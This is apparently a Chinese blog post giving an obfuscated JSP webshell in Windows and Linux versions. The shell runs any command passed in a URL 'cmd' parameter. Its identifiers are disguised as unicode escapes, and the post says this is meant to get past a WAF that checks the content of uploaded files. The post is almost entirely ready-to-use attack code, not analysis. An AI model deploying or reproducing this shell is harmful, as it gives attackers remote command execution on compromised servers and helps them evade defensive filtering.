zoukankan      html  css  js  c++  java
  • JSP无%%号命令执行一句话

    JSP无%%号命令执行一句话

    • 利用场景:WAF 禁止用户上传可执行文件,进行了文件内容判断。
    • 后续自己回来做点其他的版本。

    example:http://127.0.0.1/shell.jsp?cmd=whoami

    win:

    <jsp:scriptlet>
    if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
    u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063("cmd.exe /c " + u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
    u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
                    out.println(disr); disr = dis.readLine(); }
    }
    out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
    </jsp:scriptlet>
    
    

    Linux:

    
    <jsp:scriptlet>
    if(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd") != u006eu0075u006cu006c){
    u0050u0072u006fu0063u0065u0073u0073 p = u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072("cmd"));
    u006au0061u0076u0061u002eu0069u006fu002eu004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d os = p.getOutputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d in = p.getInputStream();
    u006au0061u0076u0061u002eu0069u006fu002eu0044u0061u0074u0061u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d dis = new java.io.DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
                    out.println(disr); disr = dis.readLine(); }
    }
    out.println("u0074u0030u0030u006cu0073u0020u0031u0032u0034u0035u0035");
    </jsp:scriptlet>
    
  • 相关阅读:
    DOM优化
    jQuery绑定以及解除时间方法总结,以及事件触发的方法
    javascript的异步编程方法
    innerHTML,innertext ,textcontent,write()
    关于盒子的那些事
    关于HTTP的几种
    关于php中正则匹配包括换行符在内的任意字符的问题总结
    CSS透明属性详解
    Linux下apache日志分析与状态查看方法
    折半排序 (稳定的排序)
  • 原文地址:https://www.cnblogs.com/0xdd/p/13168000.html
Copyright © 2011-2022 走看看